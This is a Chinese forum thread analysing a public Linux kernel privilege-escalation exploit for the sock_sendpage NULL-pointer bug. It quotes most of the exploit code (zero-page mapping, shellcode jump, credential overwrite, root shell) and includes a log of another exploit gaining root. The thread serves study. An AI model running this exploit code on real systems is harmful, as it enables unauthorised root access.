亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

Chinaunix

標(biāo)題: 新爆內(nèi)核高危漏洞sock_sendpage的利用分析的討論 [打印本頁]

作者: 獨(dú)孤九賤    時(shí)間: 2009-08-18 17:37
標(biāo)題: 新爆內(nèi)核高危漏洞sock_sendpage的利用分析的討論
先發(fā)點(diǎn)上磚上來引玉,大家一起討論一下吧。

http://linux.chinaunix.net/bbs/thread-1130262-1-1.html

詳細(xì)地描述了這個(gè)漏洞。

具體漏洞原因在

http://archives.neohapsis.com/ar ... e/2009-08/0174.html

也有描述。


因?yàn)閟ock_sendpage沒有做指針檢查,有些模塊不具備sendpage功能,初始時(shí)賦為NULL,這樣,沒有做檢查的sock_sendpage有可能直接調(diào)用空指針而導(dǎo)致出錯(cuò)——重新映射地址0,并提升權(quán)限。。。


  1. ssize_t sock_sendpage(struct file *file, struct page *page,
  2.                       int offset, size_t size, loff_t *ppos, int more)
  3. {
  4.         struct socket *sock;
  5.         int flags;

  6.         sock = SOCKET_I(file->f_dentry->d_inode);

  7.         flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
  8.         if (more)
  9.                 flags |= MSG_MORE;

  10. /*
  11.         沒有做類似的指針檢查,就直接調(diào)用

  12.            if (unlikely(!sock->ops->sendpage))   
  13.                 return -EINVAL;

  14. */

  15.         return sock->ops->sendpage(sock, page, offset, size, flags);
  16. }
復(fù)制代碼


來看看利用的代碼(程序是在安焦上面下載的:
http://www.securityfocus.com/dat ... xploits/36038-4.tgz):

  1. int main(void) {
  2. char template[] = "/tmp/padlina.XXXXXX";
  3. int fdin, fdout;
  4. void *page;

  5. //獲取當(dāng)前程序的uid和gid,后面權(quán)限提升的時(shí)候查找使用
  6. uid = getuid();
  7. gid = getgid();
  8. setresuid(uid, uid, uid);
  9. setresgid(gid, gid, gid);

  10. if ((personality(0xffffffff)) != PER_SVR4) {
  11.   if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
  12.    perror("mmap");
  13.    return -1;
  14.   }
  15. } else {
  16.   if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
  17.    perror("mprotect");
  18.    return -1;
  19.   }
復(fù)制代碼


程序mmap了地址0x0,接下來

  1. *(char *)0 = '\x90';  (nop)
  2. *(char *)1 = '\xe9';  (jmp)
  3. *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
復(fù)制代碼


(這個(gè) - 6是什么意思,大家指點(diǎn)一下)
在地址0x0處埋下代碼kernel_code 函數(shù),因?yàn)?x90 = nop, 0xe9 = jmp
上面代碼可表示為在映射的地址0處,執(zhí)行

  1. nop
  2. jmp kernel_code
復(fù)制代碼


不過現(xiàn)在還沒有執(zhí)行,因?yàn)锽ug沒有被激活,程序沒有運(yùn)行到地址0處。

然后就是激活該Bug:

  1. if ((fdin = mkstemp(template)) < 0) {
  2.   perror("mkstemp");
  3.   return -1;
  4. }

  5. if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
  6.   perror("socket");
  7.   return -1;
  8. }

  9. unlink(template);
  10. ftruncate(fdin, PAGE_SIZE);
  11. sendfile(fdout, fdin, NULL, PAGE_SIZE);
復(fù)制代碼


這段代碼是漏洞描述上的示例代碼。。。。。。

關(guān)鍵是kernel_code:

因?yàn)锽ug被激活,進(jìn)程已經(jīng)進(jìn)入內(nèi)核上下文:

  1. void kernel_code()
  2. {
  3. int i;
  4. uint *p = get_current();
復(fù)制代碼



kernel_code第一步是獲取當(dāng)前進(jìn)程的進(jìn)程描述符,get_current是一個(gè)內(nèi)聯(lián)匯編:

  1. static inline __attribute__((always_inline)) void *get_current()
  2. {
  3. unsigned long curr;
  4. __asm__ __volatile__ (
  5.   "movl %%esp, %%eax ;"
  6.   "andl %1, %%eax ;"
  7.   "movl (%%eax), %0"
  8.   : "=r" (curr)
  9.   : "i" (~8191)
  10. );
  11. return (void *) curr;
  12. }
復(fù)制代碼


這段代碼是現(xiàn)成的,描述進(jìn)程描述符的資料,例如《ULK3》或《Linux內(nèi)核設(shè)計(jì)與實(shí)現(xiàn)》上都有其介紹。內(nèi)核中的原型是:
  1. static inline struct task_struct * get_current(void)
  2. {
  3.         return current_thread_info()->task;
  4. }

  5. /* how to get the thread information struct from C */
  6. static inline struct thread_info *current_thread_info(void)
  7. {
  8.         struct thread_info *ti;
  9.         __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
  10.         return ti;
  11. }
復(fù)制代碼


include/asm-i386/current.h

程序返回的是一個(gè)uint *指針,而不是struct task_struct *,我認(rèn)為有兩個(gè)理由:
A、這是在應(yīng)用態(tài)而不是內(nèi)核態(tài),如果使用后者,會(huì)比較麻煩;
B、這個(gè)程序是超版本的,也就是不僅限于某個(gè)內(nèi)核版本,所以,struct task_struct的結(jié)構(gòu)可能會(huì)有很大的變化。

所以,沒有辦法,只能在整個(gè)結(jié)構(gòu)范圍之內(nèi)來查找uid和gid。以我的2.6.12為例:
struct task_struct {
……
           /* process credentials */
        uid_t uid,euid,suid,fsuid;
        gid_t gid,egid,sgid,fsgid;
……
}
就是要逐個(gè)找到它們,一共是8個(gè)字段:
所以,使用uint*指針來指向結(jié)構(gòu)的整個(gè)buffer,就可以逐字節(jié)的查找。而不是直接使用成員名。(我不知所有歷史版本,這些成員的名稱是否會(huì)變化,這樣做不引用成員名,連成員名變化都可以忽略了。)

  1. for (i = 0; i < 1024-13; i++) {
  2.   if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
  3.     p[0] = p[1] = p[2] = p[3] = 0;
  4.    p[4] = p[5] = p[6] = p[7] = 0;
  5.    p = (uint *) ((char *)(p + 8) + sizeof(void *));
  6.    p[0] = p[1] = p[2] = ~0;
  7.    break;
  8.   }
  9.   p++;
  10. }
復(fù)制代碼


所以這里要做一個(gè)循環(huán),就是為了超版本的在整個(gè)結(jié)構(gòu)的數(shù)據(jù)中逐個(gè)搜尋,去匹備那8個(gè)成員。查找上限是1024 - 13,應(yīng)該與struct task_struct結(jié)構(gòu)的大小有關(guān)。包子TX貼子中說測試程序可能會(huì)引起系統(tǒng)出問題,估計(jì)就是出在這里了。(猜測,呵呵)

接下來就是查找到進(jìn)程的uid和gid,然后替換之,這里設(shè)為0,即為root。!以達(dá)到提升權(quán)限的目的。

exit_kernel();退出內(nèi)核態(tài),并調(diào)用exit_code()函數(shù),運(yùn)行shell。

  1. static inline __attribute__((always_inline)) void exit_kernel()
  2. {
  3. __asm__ __volatile__ (
  4.   "movl %0, 0x10(%%esp) ;"
  5.   "movl %1, 0x0c(%%esp) ;"
  6.   "movl %2, 0x08(%%esp) ;"
  7.   "movl %3, 0x04(%%esp) ;"
  8.   "movl %4, 0x00(%%esp) ;"
  9.   "iret"
  10.   : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  11.       "i" (USER_CS), "r" (exit_code)
  12.      );
  13. }
復(fù)制代碼


  1. void exit_code()
  2. {
  3. if (getuid() != 0) {
  4.   fprintf(stderr, "failed\n");
  5.   exit(-1);
  6. }

  7. execl("/bin/sh", "sh", "-i", NULL);
  8. }
復(fù)制代碼




這些利用漏洞的人,太強(qiáng)了,PF呀PF,人與人差距太大了,學(xué)無止境呀。。

[ 本帖最后由 獨(dú)孤九賤 于 2009-8-18 22:52 編輯 ]
作者: Godbach    時(shí)間: 2009-08-18 17:40
九賤兄也很強(qiáng)啊。小弟們很是佩服。。
作者: platinum    時(shí)間: 2009-08-18 17:55
感覺九賤兄的學(xué)習(xí)能力和自我鉆研能力超強(qiáng),而且還經(jīng)常很無私的將一些成果與大家分享
非常敬仰!
作者: goter    時(shí)間: 2009-08-18 17:59
好!
作者: 獨(dú)孤九賤    時(shí)間: 2009-08-18 22:04
原帖由 platinum 于 2009-8-18 17:55 發(fā)表
感覺九賤兄的學(xué)習(xí)能力和自我鉆研能力超強(qiáng),而且還經(jīng)常很無私的將一些成果與大家分享
非常敬仰!


大家莫要這樣說呀,我也是自己看懂一些,請(qǐng)教別人一些,還有一些不是完全懂.放上來大家討論學(xué)習(xí)一下,我也好學(xué)透!!!再在回來翻了一個(gè)ULK3,發(fā)現(xiàn)有地方理解有誤,再看看,回頭再修改一下.

[ 本帖最后由 獨(dú)孤九賤 于 2009-8-18 22:08 編輯 ]
作者: Godbach    時(shí)間: 2009-08-18 23:07
九賤兄為學(xué)和為人的態(tài)度都值得我們學(xué)習(xí)。
作者: 獨(dú)孤九賤    時(shí)間: 2009-08-18 23:30
標(biāo)題: 回復(fù) #6 Godbach 的帖子
對(duì)于Linux這種溢出技術(shù)基本上都很成熟了。那兩個(gè)內(nèi)聯(lián)匯編函數(shù)在以前的溢出程序中也是頻率出現(xiàn)。基本上就是往上套。
比如:
http://www.7747.net/Soft/200908/15070.html
演示vmsplice溢出代碼,可以對(duì)比參考學(xué)習(xí)一下.

我覺得作者漂亮的代碼是:
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)
*(char *)0 = '\x90';  (nop)
*(char *)1 = '\xe9';  (jmp)
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;

也不知是不是他原創(chuàng)的,不過偶以前的確沒有見過,孤陋寡聞了,F(xiàn)在學(xué)習(xí)了,呵呵。!

[ 本帖最后由 獨(dú)孤九賤 于 2009-8-18 23:32 編輯 ]
作者: Godbach    時(shí)間: 2009-08-18 23:33
直接往0地址空間賦值了
作者: emmoblin    時(shí)間: 2009-08-19 00:01
我有有點(diǎn)不解,想請(qǐng)教一下:
return sock->ops->sendpage(sock, page, offset, size, flags);
沒做檢測就直接調(diào)用了。這時(shí)會(huì)跳到進(jìn)程的虛擬地址0的位置執(zhí)行。

但是我不理解的是:之前他做了一個(gè)mmap,這時(shí)向0地址寫入代碼,不會(huì)有什么任何問題嗎?
不會(huì)破壞系統(tǒng)或者進(jìn)程嗎?
作者: emmoblin    時(shí)間: 2009-08-19 00:07
mmap這里我覺得很神奇,相當(dāng)于讓內(nèi)核執(zhí)行了用戶進(jìn)程空間的代碼。
這樣太危險(xiǎn)了。
作者: 獨(dú)孤九賤    時(shí)間: 2009-08-19 09:11
原帖由 emmoblin 于 2009-8-19 00:01 發(fā)表
我有有點(diǎn)不解,想請(qǐng)教一下:
return sock->ops->sendpage(sock, page, offset, size, flags);
沒做檢測就直接調(diào)用了。這時(shí)會(huì)跳到進(jìn)程的虛擬地址0的位置執(zhí)行。

但是我不理解的是:之前他做了一個(gè)mmap,這時(shí) ...


我也沒有這樣做過,不過我想這并不是直接對(duì)地址0進(jìn)行寫操作。而是先做了一個(gè)匿名映射,由系統(tǒng)創(chuàng)建了一個(gè)內(nèi)存區(qū)域,把它映射到地址0上去而已。漏洞能不能被利用的關(guān)鍵在于,系統(tǒng)允不允許做這樣的映射。!

“mmap這里我覺得很神奇,相當(dāng)于讓內(nèi)核執(zhí)行了用戶進(jìn)程空間的代碼”

內(nèi)核執(zhí)行用戶空間的代碼?什么意思?不懂。!
作者: bobozhang    時(shí)間: 2009-08-19 13:45
e9 是相對(duì)跳轉(zhuǎn)   執(zhí)行地址地址 0x1上的那個(gè)jmp時(shí),eip = 6;  kernel_code的地址為 0xXXXXXX, 相對(duì)的話就需要減去當(dāng)前eip的值,也就是6
作者: hackisle    時(shí)間: 2009-08-19 14:10
佩服!CU上果然什么問題都能找到答案
作者: kouu    時(shí)間: 2009-08-19 14:58
牛啊~~ 學(xué)習(xí)了,學(xué)習(xí)了……

原帖由 emmoblin 于 2009-8-19 00:01 發(fā)表
但是我不理解的是:之前他做了一個(gè)mmap,這時(shí) ...


虛擬地址0是屬于用戶空間的吧~ 所以mmap一下就可以用了。
不過我感覺內(nèi)核應(yīng)該限制一下對(duì)0地址的分配(任何vma都不能包含0地址),因?yàn)榱?xí)慣上很多情況下都把NULL看成是非法的了。
作者: CUDev    時(shí)間: 2009-08-19 20:24
標(biāo)題: 回復(fù) #11 獨(dú)孤九賤 的帖子
kernel_code()函數(shù)的地址是用戶空間的,舉例來說,在我的機(jī)器上的地址為0x8048afd,小于0xc0000000。在內(nèi)核態(tài),jmp到一個(gè)小于3G的地址上。這個(gè)怎么解釋?
是不是這個(gè)樣子,用戶態(tài)到內(nèi)核態(tài)切換的時(shí)候,current還是有效的,指向一個(gè)用戶空間進(jìn)程,cr3寄存器的內(nèi)容內(nèi)容不會(huì)改變,還指向原先用戶空間程序的頁表。這個(gè)用戶空間的地址會(huì)通過頁表找到相應(yīng)的位置?
作者: kouu    時(shí)間: 2009-08-19 20:34
標(biāo)題: 回復(fù) #15 CUDev 的帖子
是通過系統(tǒng)調(diào)用sendfile進(jìn)入內(nèi)核態(tài)的, 所以current, cr3, 等東西都沒變
作者: 獨(dú)孤九賤    時(shí)間: 2009-08-19 21:10
原帖由 CUDev 于 2009-8-19 20:24 發(fā)表
kernel_code()函數(shù)的地址是用戶空間的,舉例來說,在我的機(jī)器上的地址為0x8048afd,小于0xc0000000。在內(nèi)核態(tài),jmp到一個(gè)小于3G的地址上。這個(gè)怎么解釋?
是不是這個(gè)樣子,用戶態(tài)到內(nèi)核態(tài)切換的時(shí)候,current還 ...


系統(tǒng)調(diào)用的時(shí)候,已經(jīng)切換到內(nèi)核態(tài)了.正因?yàn)槿绱?后面才有退出kernel,返回用戶態(tài)的狀態(tài).
作者: CUDev    時(shí)間: 2009-08-19 21:14
標(biāo)題: 回復(fù) #1 獨(dú)孤九賤 的帖子
感覺exit_kernel()那個(gè)函數(shù)沒有多少用處,可以直接聲明為int kernel_code(),返回-1。kernel_code自動(dòng)跳回到用戶空間,然后直接調(diào)用execl()就好了。

另外,kernel_code()中可以調(diào)用標(biāo)準(zhǔn)庫里面的函數(shù)嗎?
http://www.securityfocus.com/dat ... derbar_emporium.tgz
這是這個(gè)漏洞的另外一個(gè)exploit,它在kernel中執(zhí)行的函數(shù)中調(diào)用了memset()。

[ 本帖最后由 CUDev 于 2009-8-19 22:28 編輯 ]
作者: CUDev    時(shí)間: 2009-08-19 21:49
標(biāo)題: 回復(fù) #1 獨(dú)孤九賤 的帖子
搭車問一個(gè)mmap的問題。

mmap的參數(shù)中addr如果為NULL的話,是kernel自動(dòng)選擇一個(gè)地址,但是這里為什么mmap返回的地址是0呢?
       If addr is NULL, then the kernel chooses the address at which to create the mapping; this is the most portable method of  creat‐\r
       ing a new mapping.  If addr is not NULL, then the kernel takes it as a hint about where to place the mapping; on Linux, the map‐\r
       ping will be created at a nearby page boundary.  The address of the new mapping is returned as the result of the call.


已解決,原來是MAP_FIXED選項(xiàng)的問題

[ 本帖最后由 CUDev 于 2009-8-19 22:14 編輯 ]
作者: pxebxp    時(shí)間: 2009-08-19 22:20
dex@dx wunderbar_emporium]$ ls
exploit.c  pwnkernel.c  tzameti.avi  wunderbar_emporium.sh
[dex@dx wunderbar_emporium]$ ./wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
E: alsa-util.c: Error opening PCM device hw:0: Permission denied
E: module.c: Failed to load  module "module-alsa-sink" (argument: "device_id=0 sink_name=alsa_output.pci_8086_27d8_sound_card_0_alsa_playback_0 tsched=1"): initialization failed.
E: alsa-util.c: Error opening PCM device hw:0: Permission denied
E: module.c: Failed to load  module "module-alsa-source" (argument: "device_id=0 source_name=alsa_input.pci_8086_27d8_sound_card_0_alsa_capture_0 tsched=1"): initialization failed.
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0951f94
[+] Resolved selinux_enabled to 0xc07dbaf4
[+] Resolved security_ops to 0xc0950768
[+] Resolved default_security_ops to 0xc07db624
[+] Resolved sel_read_enforce to 0xc04fbbfa
[+] Resolved audit_enabled to 0xc091b16c
[+] got ring0!
[+] detected 2.6 style 4k stacks
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-3.2# passwd root
Changing password for user root.
New UNIX password:
BAD PASSWORD: it is WAY too short
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
作者: bbskuang    時(shí)間: 2009-08-19 22:35
不錯(cuò),九劍兄分析的很好。再接再厲。
作者: kouu    時(shí)間: 2009-08-19 22:39
原帖由 CUDev 于 2009-8-19 21:14 發(fā)表
感覺exit_kernel()那個(gè)函數(shù)沒有多少用處,可以直接聲明為int kernel_code(),返回-1。kernel_code自動(dòng)跳回到用戶空間,然后直接調(diào)用execl()就好了。

另外,kernel_code()中可以調(diào)用標(biāo)準(zhǔn)庫里面的函數(shù)嗎?
ht ...


如果從kernel_code中返回, 應(yīng)該是返回到sock_sendpage外面去了吧, 并不是直接返回用戶態(tài). 到時(shí)候控制流發(fā)生什么變化還不好說, 倒不如直接iret返回到用戶態(tài)的好.
作者: CUDev    時(shí)間: 2009-08-19 22:47
那那個(gè)在kernel中執(zhí)行的函數(shù)中調(diào)用C庫的問題呢?
作者: kouu    時(shí)間: 2009-08-19 23:00
標(biāo)題: 回復(fù) #23 CUDev 的帖子
我覺得應(yīng)該是可以調(diào)的吧~
整個(gè)程序是在用戶態(tài)編譯的, 可以鏈接C庫, kernel_code中調(diào)用C庫的函數(shù)自然能夠編譯通過.
而既然已經(jīng)在內(nèi)核態(tài)調(diào)用了用戶函數(shù)kernel_code, 那么kernel_code中調(diào)用C庫函數(shù)應(yīng)該也沒問題.
作者: hackisle    時(shí)間: 2009-08-19 23:01
memset在編譯的時(shí)候會(huì)不會(huì)已經(jīng)被替換成相應(yīng)的匯編代碼呢?memcpy好像在編譯的時(shí)候就是這么處理的。。
作者: hackisle    時(shí)間: 2009-08-19 23:14
這是memset編譯后的結(jié)果

0x0000118d <give_it_to_me_any_way_you_can+233>: mov    0xffffffe8(%ebp),%eax
0x00001190 <give_it_to_me_any_way_you_can+236>: mov    %eax,%edi
---Type <return> to continue, or q <return> to quit---
0x00001192 <give_it_to_me_any_way_you_can+238>: cld   
0x00001193 <give_it_to_me_any_way_you_can+239>: mov    $0x0,%edx
0x00001198 <give_it_to_me_any_way_you_can+244>: mov    $0x8,%eax
0x0000119d <give_it_to_me_any_way_you_can+249>: mov    %eax,%ecx
0x0000119f <give_it_to_me_any_way_you_can+251>: mov    %edx,%eax
0x000011a1 <give_it_to_me_any_way_you_can+253>: rep stos %eax,%es%edi)
作者: CUDev    時(shí)間: 2009-08-19 23:15
標(biāo)題: 回復(fù) #24 kouu 的帖子
Kernel中是不能調(diào)用C庫的,Kernel中自己實(shí)現(xiàn)了一些簡單的類C庫接口
作者: CUDev    時(shí)間: 2009-08-19 23:18
標(biāo)題: 回復(fù) #26 hackisle 的帖子
你拿之前的帖子中的exploit測試一下
http://www.securityfocus.com/dat ... derbar_emporium.tgz
我這邊是:

  1. 0x08048a33 <give_it_to_me_any_way_you_can+223>:        movl   $0x1,0x804a7d4
  2. 0x08048a3d <give_it_to_me_any_way_you_can+233>:        movl   $0x20,0x8(%esp)
  3. 0x08048a45 <give_it_to_me_any_way_you_can+241>:        movl   $0x0,0x4(%esp)
  4. 0x08048a4d <give_it_to_me_any_way_you_can+249>:        mov    -0x10(%ebp),%eax
  5. 0x08048a50 <give_it_to_me_any_way_you_can+252>:        mov    %eax,(%esp)
  6. 0x08048a53 <give_it_to_me_any_way_you_can+255>:        call   0x804863c <memset@plt>
  7. 0x08048a58 <give_it_to_me_any_way_you_can+260>:        add    $0x24,%esp
  8. 0x08048a5b <give_it_to_me_any_way_you_can+263>:        pop    %ebx
  9. 0x08048a5c <give_it_to_me_any_way_you_can+264>:        pop    %ebp
  10. 0x08048a5d <give_it_to_me_any_way_you_can+265>:        ret   
復(fù)制代碼

作者: hackisle    時(shí)間: 2009-08-19 23:31
0x0000118d <give_it_to_me_any_way_you_can+233>: mov    0xffffffe8(%ebp),%eax
0x00001190 <give_it_to_me_any_way_you_can+236>: mov    %eax,%edi
---Type <return> to continue, or q <return> to quit---
0x00001192 <give_it_to_me_any_way_you_can+238>: cld   
0x00001193 <give_it_to_me_any_way_you_can+239>: mov    $0x0,%edx
0x00001198 <give_it_to_me_any_way_you_can+244>: mov    $0x8,%eax
0x0000119d <give_it_to_me_any_way_you_can+249>: mov    %eax,%ecx
0x0000119f <give_it_to_me_any_way_you_can+251>: mov    %edx,%eax
0x000011a1 <give_it_to_me_any_way_you_can+253>: rep stos %eax,%es%edi)
0x000011a3 <give_it_to_me_any_way_you_can+255>: add    $0x1c,%esp
0x000011a6 <give_it_to_me_any_way_you_can+258>: pop    %ebx
0x000011a7 <give_it_to_me_any_way_you_can+259>: pop    %esi
0x000011a8 <give_it_to_me_any_way_you_can+260>: pop    %edi
0x000011a9 <give_it_to_me_any_way_you_can+261>: pop    %ebp
0x000011aa <give_it_to_me_any_way_you_can+262>: ret   

還是和原來一樣,會(huì)不會(huì)是編譯器版本的問題?
作者: kouu    時(shí)間: 2009-08-19 23:34
標(biāo)題: 回復(fù) #27 CUDev 的帖子
內(nèi)核代碼中不能調(diào)用庫函數(shù), 我認(rèn)為其原因是內(nèi)核編譯的時(shí)候沒有去鏈接這些庫.
但是這里的kernel_code跟這個(gè)不是一回事... 這里的kernel_code是用戶程序的一部分, 用戶程序在編譯時(shí)是可以鏈接C庫的.
如果是靜態(tài)鏈接, 那么在用戶程序的可執(zhí)行文件中, C庫已經(jīng)是這個(gè)文件的一部分了. 調(diào)用C庫函數(shù)和調(diào)用自己寫的函數(shù)應(yīng)該沒什么區(qū)別.
如果是動(dòng)態(tài)鏈接, 在用戶程序被運(yùn)行的時(shí)候, C庫被map到進(jìn)程空間里面, 然后被調(diào)用的函數(shù)的符號(hào)被解決...

[ 本帖最后由 kouu 于 2009-8-19 23:42 編輯 ]
作者: hackisle    時(shí)間: 2009-08-19 23:46
感覺樓上說的有道理

。?墒侨绻莿(dòng)態(tài)鏈接的話,這樣在符號(hào)解析的過程中會(huì)出問題嗎?
作者: CUDev    時(shí)間: 2009-08-19 23:52
標(biāo)題: 回復(fù) #30 kouu 的帖子
此言差矣。如果是fopen呢?在Kernel里調(diào)fopen(),fopen()底層又調(diào)用read()系統(tǒng)調(diào)用,又回到了Kernel。
就出現(xiàn)了“先有雞還是先有蛋”的問題
作者: kouu    時(shí)間: 2009-08-20 00:51
原帖由 hackisle 于 2009-8-19 23:46 發(fā)表
感覺樓上說的有道理

。?墒侨绻莿(dòng)態(tài)鏈接的話,這樣在符號(hào)解析的過程中會(huì)出問題嗎?

動(dòng)態(tài)鏈接還是有一點(diǎn)差別的, 我感覺應(yīng)該可以, 函數(shù)調(diào)用就是多加了一層跳轉(zhuǎn)表吧~ 但是不是很確定.

原帖由 CUDev 于 2009-8-19 23:52 發(fā)表
此言差矣。如果是fopen呢?在Kernel里調(diào)fopen(),fopen()底層又調(diào)用read()系統(tǒng)調(diào)用,又回到了Kernel。
就出現(xiàn)了“先有雞還是先有蛋”的問題

你做了這樣的假設(shè), 那不等于已經(jīng)認(rèn)同kernel_code里面可以調(diào)C庫了嗎?
當(dāng)然, 能不能調(diào)是一回事, 正確與否是另外一回事. 不正確并不代表不能.
再說, 內(nèi)核里面為什么就不能調(diào)用系統(tǒng)調(diào)用了? 系統(tǒng)調(diào)用不就是通過軟中斷指令來實(shí)現(xiàn)的么, 進(jìn)入系統(tǒng)調(diào)用后沒有把這個(gè)軟中斷屏蔽掉的吧, 中斷嵌套一下怎么不可以呢?
并且我好像記得內(nèi)核里面使用系統(tǒng)調(diào)用還是合法的. 但是不記得如果系統(tǒng)調(diào)用嵌套, 內(nèi)核棧是怎樣被處理的了...

另外, 這個(gè)也根本不是什么“先有雞還是先有蛋”的問題, 程序的執(zhí)行是有源頭的.
從系統(tǒng)啟動(dòng), 到內(nèi)核初始化, 再到用戶進(jìn)程被創(chuàng)建執(zhí)行, 再到shell被執(zhí)行, 再到這個(gè)攻擊用的程序被執(zhí)行, 再到這個(gè)程序以某種手?jǐn)噙M(jìn)入內(nèi)核, 再到這個(gè)程序的代碼在內(nèi)核態(tài)下運(yùn)行... 每一步都有確切的上一步的~

[ 本帖最后由 kouu 于 2009-8-20 10:28 編輯 ]
作者: bobozhang    時(shí)間: 2009-08-20 09:29
內(nèi)核態(tài)跟用戶態(tài)不在于地址,而在于cpu的狀態(tài)和堆棧,內(nèi)核態(tài)可以執(zhí)行一些特殊指令,用的棧也是在內(nèi)核地址空間中。

我也覺得那個(gè)exit_kernel用不著阿,直接返回到return sock->ops->sendpage(sock, page, offset, size, flags);這句不行嗎?我覺得返回到這里后它會(huì)一直返回直到返回到用戶空間也就是sendfile的下一句,在這里再執(zhí)行shell。不知道為什么不這樣
作者: CUDev    時(shí)間: 2009-08-20 09:59
標(biāo)題: 回復(fù) #33 kouu 的帖子
我是按照您的思路進(jìn)行假設(shè)的,我從來沒有認(rèn)為在Kernel里面可以調(diào)用C庫
作者: CUDev    時(shí)間: 2009-08-20 10:00
標(biāo)題: 回復(fù) #34 bobozhang 的帖子
之前發(fā)的另外一個(gè)exploit中,就沒有exit_kernel()這樣的代碼,而是直接返回
作者: albeta    時(shí)間: 2009-08-20 10:11
贊一個(gè),樓主解釋很清楚啊。希望以后多多做這樣的文章。
作者: kouu    時(shí)間: 2009-08-20 10:27
標(biāo)題: 回復(fù) #35 CUDev 的帖子
OK,這樣討論下去沒意義。有空我做個(gè)實(shí)驗(yàn)試試……
作者: scutan    時(shí)間: 2009-08-20 10:28
佩服,謝謝九賤兄
作者: albeta    時(shí)間: 2009-08-20 10:57
弱弱的問一下
personality(PER_SVR4) 有啥用
作者: CUDev    時(shí)間: 2009-08-20 11:14
標(biāo)題: 回復(fù) #40 albeta 的帖子
PER_SVR4以及MAP_ZERO了,不用再mmap了,只需要mprotect修改一下權(quán)限即可。
作者: emmoblin    時(shí)間: 2009-08-20 23:55
我還是有些不明白:
這個(gè)代碼最關(guān)鍵的是
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)

MAP_FIXED的作用就是強(qiáng)行映射到指定的addr的位置。
MAP_ANONYMOUS將忽略 fd和offset參數(shù)。

疑問一:

既然沒有傳入fd,那么到底把哪個(gè)文件或者內(nèi)存映射到了地址0呢?
難道是內(nèi)核空間的內(nèi)存?

疑問二:
return sock->ops->sendpage(sock, page, offset, size, flags);
在內(nèi)核空間執(zhí)行時(shí)應(yīng)該看到的是進(jìn)程的全部4G空間。
這個(gè)跳轉(zhuǎn)到0地址執(zhí)行,這個(gè)0地址指的是進(jìn)程的虛擬地址0嗎?

如果是進(jìn)程空間的虛擬地址0,那么為什么不直接在進(jìn)程的虛擬地址0直接寫入jmp指令呢?
到底為什么要作mmap呢?

疑問三:
sock->ops->sendpage
到底在什么情況下是NULL呢?難道內(nèi)核的sendpage就不能用嗎?
還是只有
socket(PF_PPPOX, SOCK_DGRAM, 0)才會(huì)導(dǎo)致sendpage指針為NULL呢?

[ 本帖最后由 emmoblin 于 2009-8-21 00:00 編輯 ]
作者: kouu    時(shí)間: 2009-08-21 00:24
標(biāo)題: 回復(fù) #42 emmoblin 的帖子
1、這里的mmap應(yīng)該就相當(dāng)于malloc時(shí),libc做的mmap一樣(malloc大塊內(nèi)存的時(shí)候),就是把0地址的空間分配給用戶;
2、不做mmap的話,虛擬地址空間的0地址是沒有分配的,沒有對(duì)應(yīng)的vma,缺頁異常會(huì)導(dǎo)致程序被殺死;
3、sock->ops->sendpage是NULL也是內(nèi)核BUG之一。不少類型的socket都沒有sendfile這個(gè)函數(shù),但是它們大多數(shù)都會(huì)使用sock_no_sendpage來代替一下,并不會(huì)留空。但是PF_PPPOX卻留的是NULL,我發(fā)現(xiàn)PF_BLUETOOTH也是一樣的效果,而PF_INET之類的卻不行;
作者: emmoblin    時(shí)間: 2009-08-21 00:38
謝謝kouu,明白多了。

也就是使用mmap在0地址分配一段空間,然后就可以在此空間寫入代碼了。

但是這樣都行,難道m(xù)map可以隨便指定一個(gè)地址嗎?
比如我指定0x50000000,正好這個(gè)地址是有用的,那豈不是破壞了這段內(nèi)存?
程序還不跑亂了?

[ 本帖最后由 emmoblin 于 2009-8-21 00:49 編輯 ]
作者: kouu    時(shí)間: 2009-08-21 10:19
標(biāo)題: 回復(fù) #44 emmoblin 的帖子
按我的理解,mmap就是在mm上加一個(gè)vma。如果這個(gè)vma與現(xiàn)有的vma有重疊,如果其屬性一樣的話,mmap應(yīng)該是可以成功的,并且新老兩個(gè)vma被合并成一個(gè)。否則mmap會(huì)失敗。
另外,mmap的地址參數(shù)多數(shù)情況下只是個(gè)參考,內(nèi)核不一定map到給定的地址上,實(shí)際map的地址會(huì)通過返回值給出。但是本例中mmap使用了MAP_FIXED參數(shù),應(yīng)該就是不允許內(nèi)核map到其他地址了,map不成功則直接返回失敗。
作者: zengdesheng    時(shí)間: 2009-08-21 17:14
感謝分享。
作者: emmoblin    時(shí)間: 2009-08-23 10:37
標(biāo)題: 回復(fù) #45 kouu 的帖子
那我覺得內(nèi)核mmap的時(shí)候應(yīng)該避免映射到0地址。及時(shí)用了FIXED參數(shù)。
這樣就利用不了NULL跳轉(zhuǎn)到0地址執(zhí)行的漏洞了
作者: kouu    時(shí)間: 2009-08-23 11:37
原帖由 emmoblin 于 2009-8-23 10:37 發(fā)表
那我覺得內(nèi)核mmap的時(shí)候應(yīng)該避免映射到0地址。及時(shí)用了FIXED參數(shù)。
這樣就利用不了NULL跳轉(zhuǎn)到0地址執(zhí)行的漏洞了
